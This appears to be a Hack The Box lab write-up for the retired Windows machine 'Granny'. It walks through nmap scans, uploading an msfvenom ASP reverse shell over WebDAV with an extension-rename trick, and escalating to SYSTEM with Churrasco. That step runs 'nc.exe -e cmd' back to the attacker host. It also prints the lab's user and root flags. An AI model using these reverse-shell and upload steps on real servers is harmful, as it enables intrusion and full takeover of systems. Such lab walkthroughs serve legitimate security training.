HTB WriteUps
  • ℹ️Main Page
  • 👨‍💻whoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  1. Windows Machines

Granny

Last updated 2 years ago

Was this helpful?

CtrlK
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.15 -oN allPorts

-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

  • Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

    nmap -sC -sV -p80 10.10.10.15 -oN targeted

    • -sC performs the scan using the default set of scripts.

    • -sV enables version detection.

    • -oN save the scan result into file, in this case the targeted file.

    Exploitation

    As we can see in the nmap scan, HTTP methods such as PUT or COPY can be used in the web server. We could try to use the cadaver tool, and see if we can upload malicious payload on the web server.

    cadaver 10.10.10.15

    dav:/> ls

    We can see all the files in the directory. As we can see in this exploit, we could upload a malicious file with the .txt extension, and then rename it to .asp so we can execute it. First, let's create the malicious file with the .txt extension.

    msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.7 lport=4444 -f asp -o shell.txt

    • -p indicates the type of payload.

    • lhost local host IP.

    • lport local port of the listener.

    • -f output format.

    • -o save the output to a file.

    Now, let's upload it with the cadaver shell.

    dav:/> put shell.txt

    Now, we'll have to rename it so it has the .asp extension.

    dav:/> copy shell.txt shell.asp;.txt

    Before executing the file, let's set a netcat listener on port 4444 with rlwrap.

    rlwrap nc -lvnp 4444

    • -l listen mode.

    • -v verbose mode.

    • -n numeric-only IP, no DNS resolution.

    • -p specify the port to listen on.

    Finally, if we access the shell.asp file, we should get a reverse shell as the nt authority\network service user.

    curl "http://10.10.10.15/shell.asp;.txt"

    Privilege Escalation

    Let's see what privileges the user nt authority\network service has.

    whoami /priv

    If a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.

    JuicyPotato is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that SeImpersonate or SeAssignPrimaryToken are enabled.

    https://github.com/ohpe/juicy-potato

    To escalate privileges, we'll have to transfer JuicyPotato.exe to the victim machine. Let's set a SMB server with the impacket library, on the directory where we have the JuicyPotato binary.

    impacket-smbserver sambaFolder $(pwd) -smb2support

    And download the binaries from the \windows\temp folder.

    copy \\10.10.14.7\sambaFolder\JuicyPotato.exe JuicyPotato.exe

    If we execute it, we'll get an error saying that the binary is incompatible with the system architecture.

    JuicyPotato.exe

    But, no worries, there is an alternative to JuicyPotato. It is called Churrasco, and you can download it from here. Once you download it, transfer it to the Windows machine with the same method we did before. And if we execute it indicating the whoami command, we'll see that we can execute commands as the nt authority\system user.

    churrasco.exe "whoami"

    Let's get a shell as the nt authority\system user. First, let's set a netcat listener on port 5555.

    rlwrap nc -lvnp 5555

    • -l listen mode.

    • -v verbose mode.

    • -n numeric-only IP, no DNS resolution.

    • -p specify the port to listen on.

    Then, let's set another SMB server on the directory where the nc.exe binary is.

    impacket-smbserver sambaFolder $(pwd) -smb2support

    And finally, execute the following command on the Windows machine, which will send a shell as the nt authority\system user to the netcat listener.

    churrasco.exe "\\10.10.14.7\sambaFolder\nc.exe -e cmd 10.10.14.7 5555"

    Finally, all we have to do is reap the harvest and take the user and the root flag.

    # Nmap 7.92 scan initiated Tue Jun 28 14:57:28 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.15
    Nmap scan report for 10.10.10.15
    Host is up (0.048s latency).
    Not shown: 65534 filtered tcp ports (no-response)
    PORT   STATE SERVICE
    80/tcp open  http
    
    # Nmap done at Tue Jun 28 14:57:55 2022 -- 1 IP address (1 host up) scanned in 27.18 seconds
    # Nmap 7.92 scan initiated Tue Jun 28 14:58:12 2022 as: nmap -sCV -p80 -oN targeted 10.10.10.15
    Nmap scan report for 10.10.10.15
    Host is up (0.036s latency).
    
    PORT   STATE SERVICE VERSION
    80/tcp open  http    Microsoft IIS httpd 6.0
    | http-methods: 
    |_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
    |_http-server-header: Microsoft-IIS/6.0
    | http-webdav-scan: 
    |   Server Type: Microsoft-IIS/6.0
    |   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
    |   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
    |   Server Date: Tue, 28 Jun 2022 12:58:23 GMT
    |_  WebDAV type: Unknown
    |_http-title: Under Construction
    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Tue Jun 28 14:58:22 2022 -- 1 IP address (1 host up) scanned in 9.98 seconds
    Listing collection `/': succeeded.
    Coll:   _private                               0  Apr 12  2017
    Coll:   _vti_bin                               0  Apr 12  2017
    Coll:   _vti_cnf                               0  Apr 12  2017
    Coll:   _vti_log                               0  Apr 12  2017
    Coll:   _vti_pvt                               0  Apr 12  2017
    Coll:   _vti_script                            0  Apr 12  2017
    Coll:   _vti_txt                               0  Apr 12  2017
    Coll:   aspnet_client                          0  Apr 12  2017
    Coll:   images                                 0  Apr 12  2017
            _vti_inf.html                       1754  Apr 12  2017
            iisstart.htm                        1433  Feb 21  2003
            pagerror.gif                        2806  Feb 21  2003
            postinfo.html                       2440  Apr 12  2017
    Uploading shell.txt to `/shell.txt':
    Progress: [=============================>] 100.0% of 38470 bytes succeeded.
    Copying `/shell.txt' to `/shell.asp%3b.txt':  succeeded.
    listening on [any] 4444 ...
    connect to [10.10.14.7] from (UNKNOWN) [10.10.10.15] 1031
    Microsoft Windows [Version 5.2.3790]
    (C) Copyright 1985-2003 Microsoft Corp.
    
    whoami
    whoami
    nt authority\network service
    PRIVILEGES INFORMATION
    ----------------------
    
    Privilege Name                Description                               State   
    ============================= ========================================= ========
    SeAuditPrivilege              Generate security audits                  Disabled
    SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
    SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
    SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
    SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
    SeCreateGlobalPrivilege       Create global objects                     Enabled
    The image file C:\WINDOWS\Temp\JuicyPotato.exe is valid, but is for a machine type other than the current machine.
    nt authority\system
    listening on [any] 5555 ...
    connect to [10.10.14.7] from (UNKNOWN) [10.10.10.15] 1037
    Microsoft Windows [Version 5.2.3790]
    (C) Copyright 1985-2003 Microsoft Corp.
    
    whoami
    whoami
    nt authority\system
    type "\Documents and Settings\Lakis\desktop\user.txt"
    700c5dc163014e22b3e408f8703f67d1
    type "\Documents and Settings\administrator\desktop\root.txt"
    aa4beed1c0584445ab463a6747bd06e9